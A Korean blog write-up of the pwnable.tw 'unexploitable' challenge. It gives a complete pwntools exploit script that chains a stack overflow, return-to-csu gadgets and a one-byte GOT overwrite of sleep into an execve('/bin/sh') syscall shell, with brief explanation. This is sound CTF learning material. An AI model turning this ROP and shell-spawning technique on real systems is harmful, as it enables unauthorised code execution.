ghkdtlwns987

[pwnable.tw] unexploitable 본문

pwnable.tw

[pwnable.tw] unexploitable

2020/03/31 2021. 1. 23. 14:03

main 함수에 이거밖에 없다. 

심지어 puts() 함수나, write, printf() 같은 함수도 존재하지 않는다. 

 

대충 rtc + syscall 로 풀어야 한다.

우선 __libc_csu_init 을 살펴보자.

빨간, 노란색을 사용하면 될거다. 

from pwn import*
import argparse

context.arch='amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']

parser = argparse.ArgumentParser()
parser.add_argument('-r','--remote', action = 'store_true',help='-r -> remote')
args = parser.parse_args()
host = 'chall.pwnable.tw'
port = 10403

"""
r = process('./unexploitable')

payload = ''
payload += cyclic(0x100,n=8)

r.sendline(payload)

r.wait()

coredump = Core('./core')
offset = cyclic_find(coredump.fault_addr, n=8)
"""
offset = 0x18
log.info('offset = '+hex(offset))
pause()

elf = ELF('./unexploitable')

csu_init1 = 0x4005e6        
csu_init2 = 0x4005d0
main = 0x400544
bss = elf.bss()
data = 0x601018
read_got = elf.got['read']
sleep_got = elf.got['sleep']

def move_gadget(rbx, rbp, r12, r13, r14, r15, ret):
    payload = ''
    payload += p64(0)           #rsp + 0x0;
    payload += p64(rbx)         #rsp + 0x8;
    payload += p64(rbp)         #rsp + 0x10;
    payload += p64(r12)         #rsp + 0x18;
    payload += p64(r13)         #rsp + 0x20;
    payload += p64(r14)         #rsp + 0x28;
    payload += p64(r15)         #rsp + 0x30;        
    payload += p64(ret)         #ret;

    return payload


def exploit(syscall):
    main = 0x400544
    payload = ''
    payload += 'A'*offset
    payload += p64(csu_init1)
    payload += move_gadget(0,1,read_got, 0, bss+0x100, 8, csu_init2)
    payload += move_gadget(0,0,0,0,0,0,main)

    sleep(3)
    
    r.send(payload)
    r.send('/bin/sh\x00')

    payload = ''
    payload += 'A'*24
    payload += p64(csu_init1)
    payload += move_gadget(0,1,read_got, 0, sleep_got, 1, csu_init2)        #1byte overwrite
    payload += move_gadget(0,1,read_got, 0, bss, 59, csu_init2)            
    payload += move_gadget(0,1,sleep_got, bss+0x100, 0,0,csu_init2)

    sleep(3)
	r.send(payload)
    r.send(syscall)
    r.send('A'*59)

    r.interactive()

if args.remote:
    libc = ELF('./libc_64.so.6')
    r = remote(host,port)
    exploit('\xfb')

else:
    breakpoint = {'bp':0x400576}
    libc = elf.libc
    r = process('./unexploitable')
    gdb.attach(r, 'b* {}'.format(breakpoint['bp']))
    exploit('\xe0')

exploit 코드를 보면 우선, read(0, bss + 0x100, 8) 로 '/bin/sh' 를 입력해 주었는데, 

보통은 plt 나 symbols 을 이용해 input 값을 받는다. 

하지만 이번 문제에서는

이 부분에서 QWORD PTR 로 참조하고 있어서 read_got 를 줘서 입력받았다. 

 

이후에 local 이면 sleep 함수의 하위 1byte에  \xe0 를 입력해 syscall 을 호출하도록 하였다. 

nanosleep 에도 gadget 이 많지만 하위 2byte 가 달랐다. 

 

그런데 마침 pause() 함수에 syscall 이 존재했다.

 

마지막으로 bss 영역에 'A'* 59 를 입력했는데, 

이제 syscall Gadget 또한 완성이 되었는데, 

rax 레지스터를 세팅 해 주어야 했다. 

그래서 bss 에 'A'*59 를 입력해 주었다

(x64 에서는 함수를 호출할 때 $rax 에 ret 을 담기 때문이다.)

($rax 레지스터는 함수의 리턴 값을 담기 때문이다. 

(read 함수에선 입력된 byte 수를 return 하는데, read() 가 종료됨과 동시에 ret -> csu_init2 가 실행되기 때문에,

$rax 에 59 가 저장된다.)

 

'pwnable.tw' 카테고리의 다른 글

[pwnable.tw] seethefile  (0) 2021.01.16
[pwnable.tw] applestore  (0) 2020.12.29
[pwnable.tw] silver_bullet  (0) 2020.12.24
[pwnable.tw] hacknote  (0) 2020.12.07
[pwnable.tw] dubblesort  (0) 2020.11.22
Comments